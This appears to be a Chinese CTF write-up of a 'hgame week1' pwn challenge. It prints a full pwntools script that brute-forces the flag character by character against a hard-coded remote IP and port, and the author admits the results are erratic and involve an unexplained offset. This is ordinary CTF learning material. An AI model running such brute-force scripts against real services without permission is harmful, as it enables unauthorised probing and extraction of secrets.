2.3第九条咸鱼

hgame week1

pwn

aaaaaaaaaa

图片.png

疯狂输入a了解一下

图片.png

薯片拯救世界

这道题感觉很奇怪

图片.png

Ida是这样

按照题目思路给一个buf的值 如果只给了一个h 而h恰好是s1第一个字母的话应该会打破循环输出点不一样的东西然而事实上并没有(程序试出来应该是输出勇者Ch1p在今天...觉醒了!)
emmmmmmmmmm
但是最后又的确是靠这个思路做出来的
因吹斯听

flag头几个字母肯定是hgame{

先用一小段程序找了一下规律
主要逻辑是这样

for i in range(32, 127): 
        sh.send(s + chr(i) + "\0")
        try:
            sh.recv()
        except:
            s+=chr(i)
            break
    print (s)

把s依次定义为h hg hga hgam 试了一下愉快地发现输出来的字母要比真正字母的ASCII码大2 我?????????????

至于为什么。。。这题已经这么日怪了就不要在意这些了

然后爆破的思路就是nc疯狂循环关闭再nc了
毕竟一次程序只能得到一个字母

所以最后exp是这样的

from pwn import * 

s = 'hgame'
for a in range(24):
    sh=remote('118.24.3.214',10001)
    sh.send('1')
    sh.send('1')
    sh.send('1')
    sh.send('1')
    sh.send('1')
    
    for i in range(32, 127): 
        sh.send(s + chr(i) + "\0")
        try:
            sh.recv()
        except:
            s+=chr(i-2)
            break
    print (s)
    sh.close()
sh.interactive()

有个问题是每次运行都可能会发生错误得到错误的字母
这种时候手动更新一下s就行了
垃圾题

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 在C语言中,五种基本数据类型存储空间长度的排列顺序是: A)char B)char=int<=float C)ch...
    夏天再来阅读 8,742评论 0 2
  • WSGI处理程序的入口点 重要方法:rest_framework.viewsAPIView.dispatch() ...
    tristan_xx阅读 1,254评论 0 0
  • 2017.12.31 东湖--江汉路--江滩--前任三--酒店 2017到2018感谢你的爱
    依旧那么阅读 47评论 0 0